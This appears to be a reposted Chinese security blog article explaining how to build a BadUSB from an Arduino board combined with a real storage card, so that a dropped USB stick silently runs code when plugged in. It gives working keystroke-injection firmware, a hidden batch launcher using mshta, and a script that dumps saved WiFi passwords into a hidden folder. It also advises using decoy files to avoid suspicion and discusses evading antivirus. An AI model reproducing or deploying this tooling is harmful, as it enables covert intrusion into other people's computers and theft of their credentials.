查看原文
其他

U盘植马之基于arduino的badusb实现及思考

听风安全 2023-11-28

The following article is from Beacon Tower Lab Author 烽火台实验室

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

引言


曾经有这么一段传说,在某次攻防演练时,某攻击队准备了一口袋U盘前往了目标单位的工作园区,在园区围墙外停下了脚步,然后开始不停扔U盘进去,最后发现有大量的“猎奇者”上线。


U盘植马是常见的近源渗透方式之一,本文主要讲解一种基于arduino的badusb植入技术,即插即用且不会被杀毒软件检测出来,希望大家在通过U盘传递各类“学习资料”时一定要多留一个心眼。


badusb技术简介&相似技术对比

badusb技术

BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。


BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。


恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。


AutoRun技术对比

AutoRun技术在早期的打印店里传播较为广泛。U盘病毒的原理主要依赖于AutoRun.inf文件。AutoRun.inf文件最早见于光盘中,它的作用是在载入光盘(或双击具有AutoRun.inf文件光盘的驱动器盘符)时自动运行指定的某个文件。由于它特有的功能和性质,从2006年左右开始,AutoRun.inf文件被利用在U盘和硬盘之间传播木马或病毒程序。


这种技术路线的AutoRun.inf是会被操作系统读取到的,也就意味着杀毒软件可以进行识别与查杀。相比badusb的固件不对系统开放,AutoRun技术路线被查杀的概率要大的多。


按键精灵类软件外挂

按键精灵是一款模拟鼠标键盘动作的软件。通过制作脚本,可以让按键精灵代替双手,自动执行一系列鼠标键盘动作。


按键精灵简单易用,不需要任何编程知识就可以作出功能强大的脚本。只要在电脑前用双手可以完成的动作,按键精灵都可以替代完成。


但是通常是使用系统api调用实现模拟键鼠操作。而系统api通常都在杀毒软件的控制之内,是可以被程序识别到的,所以经常会出现被当作外挂封号。


BadUSB则是利用写死在固件里的代码进行一系列模拟键鼠操作,通过正规的渠道,走usb协议传输给操作系统,操作系统只会认为是一个外接键盘进行了这一系列操作。


综上所述,对比AutoRun和按键精灵,badusb都更隐蔽,且不易被识别为恶意行为。


badusb复现


使用道具 :arduino pro micro mini



使用ardino官方ide,代码如下:


# include "Keyboard.h"# define KEY_ESC 41# define KEY_BACKSPACE 42# define KEY_TAB 43# define KEY_PRT_SCR 70# define KEY_DELETE 76# define KEY_CAPS_LOCK 0x39
void setup() {Keyboard.begin();//开始键盘通信delay(10009);Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题Keyboard.release(KEY_CAPS_LOCK); //释放大写键delay(500);Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");//输入cmd进入DOSdelay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("calc");//启动计算器,或其他命令行。Keyboard.println("for  %i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do \"%i:\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\1.bat\"");Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("exit");
// Keyboard.press(KEY_RETURN);
// Keyboard.release(KEY_RETURN);
}void loop() {}


选好板子和端口按→烧录即可。



传统badusb的局限性

局限性

从上述描述可知,badusb其实就是模拟键盘打开cmd执行命令,通常会远程加载一个木马到本地运行并上线,达到控制主机的目的。这种方式存在以下局限性:


1、badusb本身不会被杀软察觉,但是执行的一些命令因为比较危险容易被杀毒软件拦截。


2、如果是网络联通有问题的主机会因下载不了木马而无法控制。


3、社工场景下通常是假装U盘来传播文件,如果U盘插入后不能使用便会引起怀疑,造成不良影响。


解决思路

如果badusb不仅仅是个模拟键盘而且还是个u盘,两个设备一起插入主机。以上问题都可得到解决。


1、命令行执行D:/1.exe通常是不会被拦截(当然要做好静态动态免杀)。用管道符把命令换成A:/c4ca4238a0b923820dcc509a6f75849b.exe||B:/c4ca4238a0b923820dcc509a6f75849b.exe||C:/c4ca4238a0b923820dcc509a6f75849b.exe||D:/c4ca4238a0b923820dcc509a6f75849b.exe.....................................总有一个轮到插入u盘那个盘符。


2、不出网主机一样可以执行程序,没必要非要给终端植马,可以利用程序搜集一些敏感信息,自带u盘的功能很好储存并带走结果文件。


3、插上后让终端显示真的是有U盘载入。可以提前放上适配场景的道具(如简历,“学习资料”等),避免引起用户的怀疑。


改进的badusb技术


基于以上几点我们对badusb进行了改进,首先可以使用usb一转多转换器,接一个sd卡读卡器,接一个arduino,使badusb不仅是一个模拟键盘程序,同时也是一个正常的U盘。



然后重新画板实现体积压缩。简单分析usb转换器电路,发现就是一个芯片在起作用。型号为MW7211A。



明确接线方式后把芯片取下来。



设计一个原理图,然后生成pcb板图,可以用嘉立创来打板。



然后通过飞线的方式连接sd卡读卡器。



侧面图,三个板子叠起来也只是略大于读卡器。



应用实践


我们以插入badusb后获取目标主机的wifi连接密码为例做个实验:


U盘内文件结构

PS U:> treer -d vue├─简历.txt├─aaaaaa  //隐藏文件夹|  ├─1.bat //主bat,后台静默执行,以求及时推出badusb启动的cmd框|  ├─getwifi.bat //获取所有本机wifi连接记录的密码1.bat@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~0"" h",0)(window.close)&&exit:begin
start /b %~dp0/getwifi.batgetwifi.bat@echo off
for /f "skip=9 tokens=1,2 delims=:" %%i in ('netsh wlan show profiles') do @echo%%j | findstr -i -v echo | netsh wlan show profiles %%j key=clear>>%~dp0/1.txt


插入终端后的效果如下,因为是模拟键盘输入,所以会有一闪而过的键盘操作出现。



拔出U盘后可在隐藏目录中获取结果文件。


思考展望


实际上,通过硬件方式解决局限还是比较硬核的做法。最开始的时候是准备通过软件方式去模拟多个硬件的。在实际研究过程中,模拟出了usb大容量存储,但识别不出盘符。经过一段时间的在模拟usb协议方面的研究,有了以下思考:


1、通过模拟实现U盘的时候甚至可以劫持删文件指令,也许可以用来达到另类的免杀,比如杀软报毒但是删不掉文件。


2、理论上也可以模拟移动光驱等硬件,绕过禁用usb大容量存储的策略。


3、硬件层面也可以使用usb一转二板子实现更多功能比如把arduino芯片和sd卡槽全拼在一张板子上,做到更小体积。


参考文献


https://github.com/Palatis/Arduino-Lufa

https://github.com/abcminiuser/lufa

https://mp.weixin.qq.com/s/gPdSrOOETkCaM-KLPLIOfw


不可错过的往期推荐哦


记一次曲折的Getshell过程

大话软件供应链攻击

内网隧道技术,你知道几个?

某银行外网打点到内网核心区红队评估复盘

记对某Spring项目代码审计

APT是如何杜绝软件包被篡改的

利用sqlserver agent job实现权限维持

区分Spring与Struts2框架的几种新方法

SRC挖掘葵花宝典

点击下方名片,关注我们
觉得内容不错,就点下“”和“在看
如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存